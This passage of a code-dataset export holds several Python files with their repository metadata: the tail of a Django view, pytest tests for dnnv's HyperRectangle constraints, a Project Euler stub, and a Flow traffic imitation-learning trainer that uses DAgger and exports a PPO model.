})
data = json.dumps(data, indent=4)
print("Get - '" + userName + "' rating chart data")
# print(data)
else:
print("error - User not found")
return HttpResponse(data, content_type = "application/json")
def getUserList(request):
data = []
for user in config.USER_LIST:
data.append(user)
data = json.dumps(data, indent=4)
print("Get - User list")
# print(data)
return HttpResponse(data, content_type = "application/json")
| 32.023392
| 97
| 0.499696
| 1,803
| 16,428
| 4.483084
| 0.061009
| 0.021774
| 0.011877
| 0.061858
| 0.910306
| 0.902264
| 0.900779
| 0.884201
| 0.872696
| 0.849808
| 0
| 0.012145
| 0.343438
| 16,428
| 513
| 98
| 32.023392
| 0.737252
| 0.486791
| 0
| 0.599057
| 0
| 0
| 0.127623
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.033019
| false
| 0
| 0.033019
| 0
| 0.099057
| 0.04717
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
2ed3ab82046ebfee2aac3079195285f7716ed549
| 4,599
|
py
|
Python
|
tests/unit_tests/test_verifiers/test_common/test_reductions/test_iopolytope/test_HyperRectangle.py
|
samysweb/dnnv
|
58fb95b7300914d9da28eed86c39eca473b1aaef
|
[
"MIT"
] | 5
|
2022-01-28T20:30:34.000Z
|
2022-03-17T09:26:52.000Z
|
tests/unit_tests/test_verifiers/test_common/test_reductions/test_iopolytope/test_HyperRectangle.py
|
samysweb/dnnv
|
58fb95b7300914d9da28eed86c39eca473b1aaef
|
[
"MIT"
] | 9
|
2022-01-27T03:50:28.000Z
|
2022-02-08T18:42:17.000Z
|
tests/unit_tests/test_verifiers/test_common/test_reductions/test_iopolytope/test_HyperRectangle.py
|
samysweb/dnnv
|
58fb95b7300914d9da28eed86c39eca473b1aaef
|
[
"MIT"
] | 2
|
2022-02-03T17:32:43.000Z
|
2022-03-24T16:38:49.000Z
|
import numpy as np
import pytest
from dnnv.verifiers.common.reductions.iopolytope import *
from dnnv.verifiers.common.reductions.iopolytope import Variable
def setup_function():
Variable._count = 0
def test_update_constraint_single_index():
v = Variable((1, 3, 2, 2))
hspoly = HyperRectangle(v)
variables = [v]
indices = np.array([(0, 0, 0, 0)])
coeffs = np.array([1.0])
b = np.array(10)
is_open = False
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
assert len(hspoly.halfspaces) == 1
assert np.allclose(hspoly._upper_bound[0], 10)
def test_update_constraint_multiple_indices():
v = Variable((1, 3, 2, 2))
hspoly = HyperRectangle(v)
variables = [v, v]
indices = np.array([(0, 0, 0, 0), (0, 1, 0, 1)])
coeffs = np.array([1.0, -1.0])
b = np.array(10)
is_open = False
with pytest.raises(
ValueError,
match="HyperRectangle constraints can only constrain a single dimension",
):
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
def test_str():
v = Variable((1, 5))
hspoly = HyperRectangle(v)
variables = [v]
indices = np.array([(0, 3)])
coeffs = np.array([-1.0])
b = np.array(10)
is_open = False
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
variables = [v]
indices = np.array([(0, 0)])
coeffs = np.array([1.0])
b = np.array(5.0)
is_open = True
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
assert str(hspoly) == (
"-inf <= x_0[(0, 0)] <= 5.000000\n"
"-inf <= x_0[(0, 1)] <= inf\n"
"-inf <= x_0[(0, 2)] <= inf\n"
"-10.000000 <= x_0[(0, 3)] <= inf\n"
"-inf <= x_0[(0, 4)] <= inf"
)
def test_is_consistent_true():
v = Variable((1, 3, 2, 2))
hspoly = HyperRectangle(v)
assert hspoly.is_consistent
variables = [v, v]
indices = np.array([(0, 0, 0, 0)])
coeffs = np.array([1.0])
b = np.array(10)
is_open = False
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
assert hspoly.is_consistent
def test_is_consistent_false():
v = Variable((1, 3, 2, 2))
hspoly = HyperRectangle(v)
assert hspoly.is_consistent
variables = [v]
indices = np.array([(0, 0, 0, 0)])
coeffs = np.array([1.0])
b = np.array(2)
is_open = False
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
assert hspoly.is_consistent
variables = [v]
indices = np.array([(0, 0, 0, 0)])
coeffs = np.array([-1.0])
b = np.array(-5)
is_open = False
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
assert not hspoly.is_consistent
def test_lower_bounds():
v = Variable((1, 5))
hspoly = HyperRectangle(v)
variables = [v]
indices = np.array([(0, 3)])
coeffs = np.array([-1.0])
b = np.array(10)
is_open = False
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
variables = [v]
indices = np.array([(0, 0)])
coeffs = np.array([1.0])
b = np.array(5.0)
is_open = True
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
assert len(hspoly.lower_bounds) == 1
assert np.allclose(
hspoly.lower_bounds[0], np.array([-np.inf, -np.inf, -np.inf, -10.0, -np.inf])
)
hspoly.add_variable(Variable((1, 5)))
assert len(hspoly.lower_bounds) == 2
assert np.allclose(
hspoly.lower_bounds[0], np.array([-np.inf, -np.inf, -np.inf, -10.0, -np.inf])
)
assert np.allclose(
hspoly.lower_bounds[1], np.array([-np.inf, -np.inf, -np.inf, -np.inf, -np.inf])
)
def test_upper_bounds():
v = Variable((1, 5))
hspoly = HyperRectangle(v)
variables = [v]
indices = np.array([(0, 3)])
coeffs = np.array([-1.0])
b = np.array(10)
is_open = False
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
variables = [v]
indices = np.array([(0, 0)])
coeffs = np.array([1.0])
b = np.array(5.0)
is_open = True
hspoly.update_constraint(variables, indices, coeffs, b, is_open)
assert len(hspoly.upper_bounds) == 1
assert np.allclose(
hspoly.upper_bounds[0], np.array([5.0, np.inf, np.inf, np.inf, np.inf])
)
hspoly.add_variable(Variable((1, 5)))
assert len(hspoly.upper_bounds) == 2
assert np.allclose(
hspoly.upper_bounds[0], np.array([5.0, np.inf, np.inf, np.inf, np.inf])
)
assert np.allclose(
hspoly.upper_bounds[1], np.array([np.inf, np.inf, np.inf, np.inf, np.inf])
)
| 27.538922
| 87
| 0.607088
| 682
| 4,599
| 3.979472
| 0.09824
| 0.10059
| 0.046426
| 0.066323
| 0.866249
| 0.838983
| 0.791083
| 0.754974
| 0.754974
| 0.727708
| 0
| 0.045442
| 0.229615
| 4,599
| 166
| 88
| 27.704819
| 0.720576
| 0
| 0
| 0.681481
| 0
| 0
| 0.046314
| 0
| 0
| 0
| 0
| 0
| 0.133333
| 1
| 0.059259
| false
| 0
| 0.02963
| 0
| 0.088889
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
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| 0
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| 0
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| null | 0
| 0
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| 0
| 0
| 0
| 0
|
0
| 6
|
2edc331bf07f9da06321e3e15ed10feb5f3f2966
| 27
|
py
|
Python
|
src/euler_python_package/euler_python/medium/p363.py
|
wilsonify/euler
|
5214b776175e6d76a7c6d8915d0e062d189d9b79
|
[
"MIT"
] | null | null | null |
src/euler_python_package/euler_python/medium/p363.py
|
wilsonify/euler
|
5214b776175e6d76a7c6d8915d0e062d189d9b79
|
[
"MIT"
] | null | null | null |
src/euler_python_package/euler_python/medium/p363.py
|
wilsonify/euler
|
5214b776175e6d76a7c6d8915d0e062d189d9b79
|
[
"MIT"
] | null | null | null |
def problem363():
pass
| 9
| 17
| 0.62963
| 3
| 27
| 5.666667
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| 0
| 0
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| 0
| 0.15
| 0.259259
| 27
| 2
| 18
| 13.5
| 0.7
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| null | 0
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| 0
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| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 6
|
2c145760ea5951c02b26879a5fcb13eca0255cc1
| 29
|
py
|
Python
|
tests/__init__.py
|
PleXone2019/socialreaper
|
87fcc3b74bbed6c4f8e7f49a5f0eb8a616cf38da
|
[
"MIT"
] | 427
|
2017-02-22T11:59:59.000Z
|
2022-03-18T11:46:55.000Z
|
tests/__init__.py
|
PleXone2019/socialreaper
|
87fcc3b74bbed6c4f8e7f49a5f0eb8a616cf38da
|
[
"MIT"
] | 1
|
2018-06-13T02:15:10.000Z
|
2019-09-26T23:50:30.000Z
|
tests/__init__.py
|
PleXone2019/socialreaper
|
87fcc3b74bbed6c4f8e7f49a5f0eb8a616cf38da
|
[
"MIT"
] | 94
|
2017-03-29T02:59:20.000Z
|
2022-03-23T01:09:45.000Z
|
from . import test_generators
| 29
| 29
| 0.862069
| 4
| 29
| 6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0.103448
| 29
| 1
| 29
| 29
| 0.923077
| 0
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| true
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| 1
| 0
|
0
| 6
|
2c1c62eb125d9e8057ff9e4f7249cfb02c4192e5
| 58,113
|
py
|
Python
|
flow/controllers/imitation_learning/trainer.py
|
eugenevinitsky/bayesian_reasoning_traffic
|
de3c14f03fed9cab913bb692877851320a3b6843
|
[
"MIT"
] | 2
|
2020-12-03T21:13:39.000Z
|
2022-03-13T09:12:43.000Z
|
flow/controllers/imitation_learning/trainer.py
|
eugenevinitsky/bayesian_reasoning_traffic
|
de3c14f03fed9cab913bb692877851320a3b6843
|
[
"MIT"
] | null | null | null |
flow/controllers/imitation_learning/trainer.py
|
eugenevinitsky/bayesian_reasoning_traffic
|
de3c14f03fed9cab913bb692877851320a3b6843
|
[
"MIT"
] | 1
|
2021-02-05T16:51:34.000Z
|
2021-02-05T16:51:34.000Z
|
import time
from collections import OrderedDict
import pickle
import numpy as np
import gym
import os
import tensorflow as tf
from flow.controllers.imitation_learning.utils import *
from flow.utils.registry import make_create_env
from flow.controllers.imitation_learning.imitating_controller import ImitatingController
from flow.controllers.imitation_learning.imitating_network import ImitatingNetwork
from flow.controllers.imitation_learning.utils_tensorflow import *
from flow.controllers.imitation_learning.keras_utils import *
from flow.controllers.car_following_models import IDMController
from flow.controllers.velocity_controllers import FollowerStopper
from flow.core.params import SumoCarFollowingParams
class Trainer(object):
"""
Class to initialize and run training for imitation learning (with DAgger)
"""
def __init__(self, params, submodule, render=False):
"""
Parameters
__________
params: dict
Dictionary of parameters used to run imitation learning
submodule: Module
Python module for file containing flow_params
"""
class Args:
def __init__(self):
# TODO(klin) BAD HACK
self.horizon = 400
self.algo = "PPO"
self.randomize_vehicles = True
# TODO(ev/nliu) what's this variable
# this is a back hack for
self.only_rl = False
self.inference_in_state = False
self.num_vehicles = 4
self.inflows = False
args = Args()
# get flow params
self.flow_params = submodule.make_flow_params(args, pedestrians=True, render=render)
# setup parameters for training
self.params = params
self.sess = create_tf_session()
# environment setup
create_env, _ = make_create_env(self.flow_params)
self.env = create_env()
# vehicle setup
self.multiagent = self.params['multiagent'] # multiagent or singleagent env
if not self.multiagent and self.env.action_space.shape[0] > 1:
# use sorted rl ids if the method exists (e.g.. singlagent straightroad)
try:
self.vehicle_ids = self.env.get_sorted_rl_ids()
except:
self.vehicle_ids = self.k.vehicle.get_rl_ids()
else:
# use get_rl_ids if sorted_rl_ids doesn't exist
self.vehicle_ids = self.env.k.vehicle.get_rl_ids()
# neural net setup
obs_dim = self.env.observation_space.shape[0]
action_dim = self.env.action_space.shape[0]
self.params['action_dim'] = action_dim
self.params['obs_dim'] = obs_dim
# initialize neural network class and tf variables
# self.action_network = ImitatingNetwork(self.sess, self.params['action_dim'], self.params['obs_dim'], self.params['fcnet_hiddens'],
# self.params['replay_buffer_size'], stochastic=self.params['stochastic'],
# variance_regularizer=self.params['variance_regularizer'],
# load_model=self.params['load_imitation_model']) #, load_path=self.params['load_imitation_path']), tensorboard_path=self.params['tensorboard_path'])
self.action_network = ImitatingNetwork(self.env, self.sess, self.params['action_dim'], self.params['obs_dim'],
self.params['fcnet_hiddens'], self.params['replay_buffer_size'],
stochastic=self.params['stochastic'], variance_regularizer=self.params['variance_regularizer'],
load_model=self.params['load_imitation_model'], load_path=self.params['load_imitation_path'],
tensorboard_path=self.params['tensorboard_path'])
# controllers setup
v_des = self.params['v_des'] # for FollowerStopper
car_following_params = SumoCarFollowingParams()
self.controllers = dict()
# initialize controllers: save in a dictionary to avoid re-initializing a controller for a vehicle
for vehicle_id in self.vehicle_ids:
expert = FollowerStopper(vehicle_id, car_following_params=car_following_params, v_des=v_des)
imitator = ImitatingController(vehicle_id, self.action_network, self.multiagent, car_following_params=car_following_params)
self.controllers[vehicle_id] = (imitator, expert)
def run_training_loop(self, n_iter):
"""
Trains imitator for n_iter iterations (each iteration collects new trajectories to put in replay buffer)
Parameters
__________
n_iter :
intnumber of iterations to execute training
"""
# init vars at beginning of training
# number of environment steps taken throughout training
self.total_envsteps = 0
for itr in range(n_iter):
print("\n\n********** Iteration %i ************"%itr)
# collect trajectories, to be used for training
if itr == 0:
# first iteration is behavioral cloning
training_returns = self.collect_training_trajectories(itr, self.params['init_batch_size'])
else:
# other iterations use DAgger (trajectories collected by running imitator policy)
training_returns = self.collect_training_trajectories(itr, self.params['batch_size'])
paths, envsteps_this_batch = training_returns
self.total_envsteps += envsteps_this_batch
# add collected data to replay buffer in neural network class
self.action_network.add_to_replay_buffer(paths)
# train controller
self.train_controller()
def collect_training_trajectories(self, itr, batch_size):
"""
Collect (state, action, reward, next_state, terminal) tuples for training
Parameters
__________
itr: int
iteration of training during which function is called. Used to determine whether to run behavioral cloning or DAgger
batch_size: int
number of tuples to collect
Returns
_______
paths: list
list of trajectories
envsteps_this_batch: int
the sum over the numbers of environment steps in paths (total number of env transitions in trajectories collected)
"""
print("\nCollecting data to be used for training...")
max_decel = self.flow_params['env'].additional_params['max_decel']
trajectories, envsteps_this_batch = sample_trajectories(self.env, self.controllers, self.action_network, batch_size, self.params['ep_len'], self.multiagent, use_expert= itr<self.params['n_bc_iter'], max_decel=max_decel)
return trajectories, envsteps_this_batch
def train_controller(self):
"""
Trains controller for specified number of steps, using data sampled from replay buffer; each step involves running optimizer (i.e. Adam) once
"""
print("Training controller using sampled data from replay buffer...")
for train_step in range(self.params['num_agent_train_steps_per_iter']):
# sample data from replay buffer
ob_batch, ac_batch, expert_ac_batch, state_info_batch = self.action_network.sample_data(self.params['train_batch_size'])
# train network on sampled data
self.action_network.train(ob_batch, expert_ac_batch, state_info_batch)
def evaluate_controller(self, num_trajs = 10):
"""
Evaluates a trained imitation controller on similarity with expert with respect to action taken and total reward per rollout.
Parameters
__________
num_trajs: int
number of trajectories to evaluate performance on
"""
print("\n\n********** Evaluation ************ \n")
# collect imitator driven trajectories (along with corresponding expert actions)
trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, False)
# initialize metrics
total_imitator_steps = 0 # total number of environment steps taken across the n trajectories
average_imitator_reward_per_rollout = 0 # average reward per rollout achieved by imitator
action_errors = np.array([]) # difference in action (acceleration) taken between expert and imitator
average_action_expert = 0 # average action taken, across all timesteps, by expert (used to compute % average)
average_action_imitator = 0 # average action taken, across all timesteps, by imitator (used to compute % average)
# compare actions taken in each step of trajectories (trajectories are controlled by imitator)
for traj_tuple in trajectories:
traj = traj_tuple[0]
traj_len = traj_tuple[1]
imitator_actions = traj['actions']
expert_actions = traj['expert_actions']
average_action_expert += np.sum(expert_actions)
average_action_imitator += np.sum(imitator_actions)
# use RMSE as action error metric
action_error = (np.linalg.norm(imitator_actions - expert_actions)) / len(imitator_actions)
action_errors = np.append(action_errors, action_error)
total_imitator_steps += traj_len
average_imitator_reward_per_rollout += np.sum(traj['rewards'])
# compute averages for metrics
average_imitator_reward_per_rollout = average_imitator_reward_per_rollout / len(trajectories)
average_action_expert = average_action_expert / total_imitator_steps
# collect expert driven trajectories (these trajectories are only used to compare average reward per rollout)
expert_trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, True)
# initialize metrics
total_expert_steps = 0
average_expert_reward_per_rollout = 0
# compare reward accumulated in trajectories collected via expert vs. via imitator
for traj_tuple in expert_trajectories:
traj = traj_tuple[0]
traj_len = traj_tuple[1]
total_expert_steps += traj_len
average_expert_reward_per_rollout += np.sum(traj['rewards'])
average_expert_reward_per_rollout = average_expert_reward_per_rollout / len(expert_trajectories)
# compute percent errors (using expert values as 'ground truth')
percent_error_average_reward = (np.abs(average_expert_reward_per_rollout - average_imitator_reward_per_rollout) / average_expert_reward_per_rollout) * 100
percent_error_average_action = (np.abs(np.mean(action_errors)) / np.abs(average_action_expert)) * 100
# Print results
print("\nAverage reward per rollout, expert: ", average_expert_reward_per_rollout)
print("Average reward per rollout, imitator: ", average_imitator_reward_per_rollout)
print("% Difference, average reward per rollout: ", percent_error_average_reward, "\n")
print(" Average RMSE action error per rollout: ", np.mean(action_errors))
print("Average Action Taken by Expert: ", average_action_expert)
print("% Action Error: ", percent_error_average_action, "\n")
print("Total imitator steps: ", total_imitator_steps)
print("Total expert steps: ", total_expert_steps)
def learn_value_function(self, num_samples, num_iterations, num_grad_steps):
"""
Learn the value function under imitation policy.
Parameters
__________
num_samples: number of environment transition samples to collect to learn from
num_iterations: number of iterations to relabel data, and train
num_grad_steps: number of gradient steps per training iteration
Returns
_______
Value function neural net
"""
print("\n\n********** Learning value function of imitation policy ************ \n")
# init value function neural net
vf_net = build_neural_net_deterministic(self.params['obs_dim'], 1, self.params['fcnet_hiddens'])
vf_net.compile(loss='mean_squared_error', optimizer = 'adam')
max_decel = self.flow_params['env'].additional_params['max_decel']
# collect trajectory samples to train on
trajectories, envsteps_this_batch = sample_trajectories(self.env, self.controllers, self.action_network,
num_samples, self.params['ep_len'], self.multiagent,
use_expert=False, max_decel=max_decel)
# combine trajectories into one
observations = np.concatenate([traj['observations'] for traj in trajectories])
rewards = np.concatenate([traj['rewards'] for traj in trajectories])
next_observations = np.concatenate([traj['next_observations'] for traj in trajectories])
# iterate over data multiple times (labels change every iteration)
for _ in range(num_iterations):
# form labels
next_state_value_preds = vf_net.predict(next_observations).flatten()
next_state_value_preds[np.isnan(next_state_value_preds)] = 0
labels = rewards + next_state_value_preds
vf_net.fit(observations, labels, verbose=0)
return vf_net
def save_controller_for_PPO(self):
"""
Build a model, with same policy architecture as imitation network, to run PPO, copy weights from imitation, and save this model.
"""
vf_net = self.learn_value_function(self.params['vf_batch_size'], self.params['num_vf_iters'], self.params['num_agent_train_steps_per_iter'])
input = tf.keras.layers.Input(self.action_network.model.input.shape[1].value)
curr_layer = input
# number of hidden layers
num_layers = len(self.action_network.model.layers) - 2
# build layers for policy
for i in range(num_layers):
size = self.action_network.model.layers[i + 1].output.shape[1].value
activation = tf.keras.activations.serialize(self.action_network.model.layers[i + 1].activation)
curr_layer = tf.keras.layers.Dense(size, activation=activation, name="policy_hidden_layer_{}".format(i + 1))(curr_layer)
output_layer_policy = tf.keras.layers.Dense(self.action_network.model.output.shape[1].value, activation=None, name="policy_output_layer")(curr_layer)
# build layers for value function
curr_layer = input
for i in range(num_layers):
size = self.params['fcnet_hiddens'][i]
curr_layer = tf.keras.layers.Dense(size, activation="tanh", name="vf_hidden_layer_{}".format(i+1))(curr_layer)
output_layer_vf = tf.keras.layers.Dense(1, activation=None, name="vf_output_layer")(curr_layer)
ppo_model = tf.keras.Model(inputs=input, outputs=[output_layer_policy, output_layer_vf], name="ppo_model")
# set the policy weights to those learned from imitation
for i in range(num_layers):
policy_layer = ppo_model.get_layer(name="policy_hidden_layer_{}".format(i + 1))
policy_layer.set_weights(self.action_network.model.layers[i + 1].get_weights())
policy_output = ppo_model.get_layer("policy_output_layer")
policy_output.set_weights(self.action_network.model.layers[-1].get_weights())
# set value function weights to those learned
num_vf_layers = len(vf_net.layers) - 2
for i in range(num_vf_layers):
vf_layer = ppo_model.get_layer('vf_hidden_layer_{}'.format(i + 1))
vf_layer.set_weights(vf_net.layers[i + 1].get_weights())
vf_output = ppo_model.get_layer("vf_output_layer")
vf_output.set_weights(vf_net.layers[-1].get_weights())
# save the model (as a h5 file)
ppo_model.save(self.params['PPO_save_path'])
def save_controller_network(self):
"""
Saves a keras tensorflow model to the specified path given in the command line params. Path must end with .h5.
"""
print("Saving tensorflow model to: ", self.params['imitation_save_path'])
self.action_network.save_network(self.params['imitation_save_path'])
# import time
# import pickle
# import numpy as np
# import gym
# import os
# import argparse
# import matplotlib.pyplot as plt
# from collections import OrderedDict
# from flow.utils.registry import make_create_env
# from imitating_controller import ImitatingController
# from imitating_network import ImitatingNetwork
# from flow.controllers.car_following_models import IDMController
# from flow.controllers.velocity_controllers import FollowerStopper
# from flow.core.params import SumoCarFollowingParams
# import tensorflow as tf
# from utils import *
# from utils_tensorflow import *
# class Trainer(object):
# """
# Class to initialize and run training for imitation learning (with DAgger)
# """
# def __init__(self, params, submodule, render=False):
# """
# Parameters
# __________
# params: dict
# Dictionary of parameters used to run imitation learning
# submodule: Module
# Python module for file containing flow_params
# """
# class Args:
# def __init__(self):
# self.horizon = 400
# self.algo = "PPO"
# args = Args()
# # get flow params
# self.flow_params = submodule.make_flow_params(args, pedestrians=True, render=render)
# # setup parameters for training
# self.params = params
# self.sess = create_tf_session()
# # environment setup
# create_env, _ = make_create_env(self.flow_params)
# self.env = create_env()
# # vehicle setup
# self.multiagent = self.params['multiagent'] # multiagent or singleagent env
# if not self.multiagent and self.env.action_space.shape[0] > 1:
# # use sorted rl ids if the method exists (e.g.. singlagent straightroad)
# try:
# self.vehicle_ids = self.env.get_sorted_rl_ids()
# except:
# self.vehicle_ids = self.k.vehicle.get_rl_ids()
# else:
# # use get_rl_ids if sorted_rl_ids doesn't exist
# self.vehicle_ids = self.env.k.vehicle.get_rl_ids()
# # neural net setup
# obs_dim = self.env.observation_space.shape[0]
# action_dim = self.env.action_space.shape[0]
# self.params['action_dim'] = action_dim
# self.params['obs_dim'] = obs_dim
# # initialize neural network class and tf variables
# self.action_network = ImitatingNetwork(self.env, self.sess, self.params['action_dim'], self.params['obs_dim'], self.params['fcnet_hiddens'],
# self.params['replay_buffer_size'], stochastic=self.params['stochastic'],
# variance_regularizer=self.params['variance_regularizer'], load_model=self.params['load_imitation_model'],
# load_path=self.params['load_imitation_path'])
# # tf.global_variables_initializer().run(session=self.sess)
# # controllers setup
# car_following_params = SumoCarFollowingParams()
# self.controllers = dict()
# # initialize controllers: save in a dictionary to avoid re-initializing a controller for a vehicle
# for vehicle_id in self.vehicle_ids:
# expert = IDMController(vehicle_id, car_following_params=car_following_params)
# imitator = ImitatingController(vehicle_id, self.action_network, self.multiagent, car_following_params=car_following_params)
# self.controllers[vehicle_id] = (imitator, expert)
# def run_training_loop(self, n_iter):
# """
# Trains imitator for n_iter iterations (each iteration collects new trajectories to put in replay buffer)
# Parameters
# __________
# n_iter :
# intnumber of iterations to execute training
# """
# # init vars at beginning of training
# # number of environment steps taken throughout training
# self.total_envsteps = 0
# for itr in range(n_iter):
# print("\n\n********** Iteration %i ************"%itr)
# # collect trajectories, to be used for training
# if itr == 0:
# # first iteration is behavioral cloning
# training_returns = self.collect_training_trajectories(itr, self.params['init_batch_size'])
# else:
# # other iterations use DAgger (trajectories collected by running imitator policy)
# training_returns = self.collect_training_trajectories(itr, self.params['batch_size'])
# paths, envsteps_this_batch = training_returns
# self.total_envsteps += envsteps_this_batch
# # add collected data to replay buffer in neural network class
# self.action_network.add_to_replay_buffer(paths)
# # train controller
# self.train_controller()
# if itr % 3 == 0 and itr > 1:
# self.evaluate_controller(self.params["num_eval_episodes"])
# def collect_training_trajectories(self, itr, batch_size):
# """
# Collect (state, action, reward, next_state, terminal, state_info) tuples for training
# Parameters
# __________
# itr: int
# iteration of training during which function is called. Used to determine whether to run behavioral cloning or DAgger
# batch_size: int
# number of tuples to collect
# Returns
# _______
# paths: list
# list of trajectories
# envsteps_this_batch: int
# the sum over the numbers of environment steps in paths (total number of env transitions in trajectories collected)
# """
# print("\nCollecting data to be used for training...")
# max_decel = self.flow_params['env'].additional_params['max_decel']
# trajectories, envsteps_this_batch = sample_trajectories(self.env, self.controllers, self.action_network, batch_size, self.params['ep_len'], self.multiagent, use_expert= itr<self.params['n_bc_iter'], max_decel=max_decel)
# return trajectories, envsteps_this_batch
# def train_controller(self, plot_error=False):
# """
# Trains controller for specified number of steps, using data sampled from replay buffer; each step involves running optimizer (i.e. Adam) once
# """
# errors = []
# print("Training controller using sampled data from replay buffer...")
# for train_step in range(self.params['num_agent_train_steps_per_iter']):
# # sample data from replay buffer
# ob_batch, ac_batch, expert_ac_batch, state_info_batch = self.action_network.sample_data(self.params['train_batch_size'])
# # train network on sampled data
# errors.append(self.action_network.train(ob_batch, expert_ac_batch, state_info_batch))
# if plot_error:
# plt.plot(errors)
# plt.title("train controller error vs train steps")
# plt.show()
# def evaluate_controller(self, num_trajs = 10):
# """
# Evaluates a trained imitation controller on similarity with expert with respect to action taken and total reward per rollout.
# Parameters
# __________
# num_trajs: int
# number of trajectories to evaluate performance on
# """
# print("\n\n********** Evaluation ************ \n")
# # collect imitator driven trajectories (along with corresponding expert actions)
# trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, False)
# # initialize metrics
# total_imitator_steps = 0 # total number of environment steps taken across the n trajectories
# average_imitator_reward_per_rollout = 0 # average reward per rollout achieved by imitator
# action_errors = np.array([]) # difference in action (acceleration) taken between expert and imitator
# average_action_expert = 0 # average action taken, across all timesteps, by expert (used to compute % average)
# average_action_imitator = 0 # average action taken, across all timesteps, by imitator (used to compute % average)
# # compare actions taken in each step of trajectories (trajectories are controlled by imitator)
# for traj_tuple in trajectories:
# traj = traj_tuple[0]
# traj_len = traj_tuple[1]
# imitator_actions = traj['actions']
# expert_actions = traj['expert_actions']
# average_action_expert += np.sum(expert_actions)
# average_action_imitator += np.sum(imitator_actions)
# # use RMSE as action error metric
# action_error = (np.linalg.norm(imitator_actions - expert_actions)) / len(imitator_actions)
# action_errors = np.append(action_errors, action_error)
# total_imitator_steps += traj_len
# average_imitator_reward_per_rollout += np.sum(traj['rewards'])
# if len(trajectories) == 0:
# trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, False)
# # compute averages for metrics
# average_imitator_reward_per_rollout = average_imitator_reward_per_rollout / len(trajectories)
# average_action_expert = average_action_expert / total_imitator_steps
# # collect expert driven trajectories (these trajectories are only used to compare average reward per rollout)
# expert_trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, True)
# # initialize metrics
# total_expert_steps = 0
# average_expert_reward_per_rollout = 0
# # compare reward accumulated in trajectories collected via expert vs. via imitator
# for traj_tuple in expert_trajectories:
# traj = traj_tuple[0]
# traj_len = traj_tuple[1]
# total_expert_steps += traj_len
# average_expert_reward_per_rollout += np.sum(traj['rewards'])
# average_expert_reward_per_rollout = average_expert_reward_per_rollout / len(expert_trajectories)
# # compute percent errors (using expert values as 'ground truth')
# percent_error_average_reward = (np.abs(average_expert_reward_per_rollout - average_imitator_reward_per_rollout) / average_expert_reward_per_rollout) * 100
# percent_error_average_action = (np.abs(np.mean(action_errors)) / np.abs(average_action_expert)) * 100
# # Print results
# print("\nAverage reward per rollout, expert: ", average_expert_reward_per_rollout)
# print("Average reward per rollout, imitator: ", average_imitator_reward_per_rollout)
# print("% Difference, average reward per rollout: ", percent_error_average_reward, "\n")
# print(" Average RMSE action error per rollout: ", np.mean(action_errors))
# print("Average Action Taken by Expert: ", average_action_expert)
# print("% Action Error: ", percent_error_average_action, "\n")
# print("Total imitator steps: ", total_imitator_steps)
# print("Total expert steps: ", total_expert_steps)
# def save_controller_network(self):
# """
# Saves a keras tensorflow model to the specified path given in the command line params. Path must end with .h5.
# """
# print("Saving tensorflow model to: ", self.params['save_path'])
# self.action_network.save_network(self.params['save_path'])
# def save_controller_for_PPO(self):
# """
# Creates and saves a keras tensorflow model for training PPO with weights learned from imitation, to the specified path given in the command line params. Path must end with .h5.
# """
# self.action_network.save_network_PPO(self.params['save_path'])
# import time
# from collections import OrderedDict
# import pickle
# import numpy as np
# import gym
# import os
# import tensorflow as tf
# from utils import *
# from flow.utils.registry import make_create_env
# from flow.controllers.imitation_learning.imitating_controller import ImitatingController
# from flow.controllers.imitation_learning.imitating_network import ImitatingNetwork
# from flow.controllers.imitation_learning.utils_tensorflow import *
# from flow.controllers.imitation_learning.keras_utils import *
# from flow.controllers.car_following_models import IDMController
# from flow.controllers.velocity_controllers import FollowerStopper
# from flow.core.params import SumoCarFollowingParams
# class Trainer(object):
# """
# Class to initialize and run training for imitation learning (with DAgger)
# """
# def __init__(self, params, submodule, render=False):
# """
# Parameters
# __________
# params: dict
# Dictionary of parameters used to run imitation learning
# submodule: Module
# Python module for file containing flow_params
# """
# class Args:
# def __init__(self):
# self.horizon = 400
# self.algo = "PPO"
# self.randomize_vehicles = True
# args = Args()
# # get flow params
# self.flow_params = submodule.make_flow_params(args, pedestrians=True, render=render)
# # setup parameters for training
# self.params = params
# self.sess = create_tf_session()
# # environment setup
# create_env, _ = make_create_env(self.flow_params)
# self.env = create_env()
# # vehicle setup
# self.multiagent = self.params['multiagent'] # multiagent or singleagent env
# if not self.multiagent and self.env.action_space.shape[0] > 1:
# # use sorted rl ids if the method exists (e.g.. singlagent straightroad)
# try:
# self.vehicle_ids = self.env.get_sorted_rl_ids()
# except:
# self.vehicle_ids = self.k.vehicle.get_rl_ids()
# else:
# # use get_rl_ids if sorted_rl_ids doesn't exist
# self.vehicle_ids = self.env.k.vehicle.get_rl_ids()
# # neural net setup
# obs_dim = self.env.observation_space.shape[0]
# action_dim = self.env.action_space.shape[0]
# self.params['action_dim'] = action_dim
# self.params['obs_dim'] = obs_dim
# # initialize neural network class and tf variables
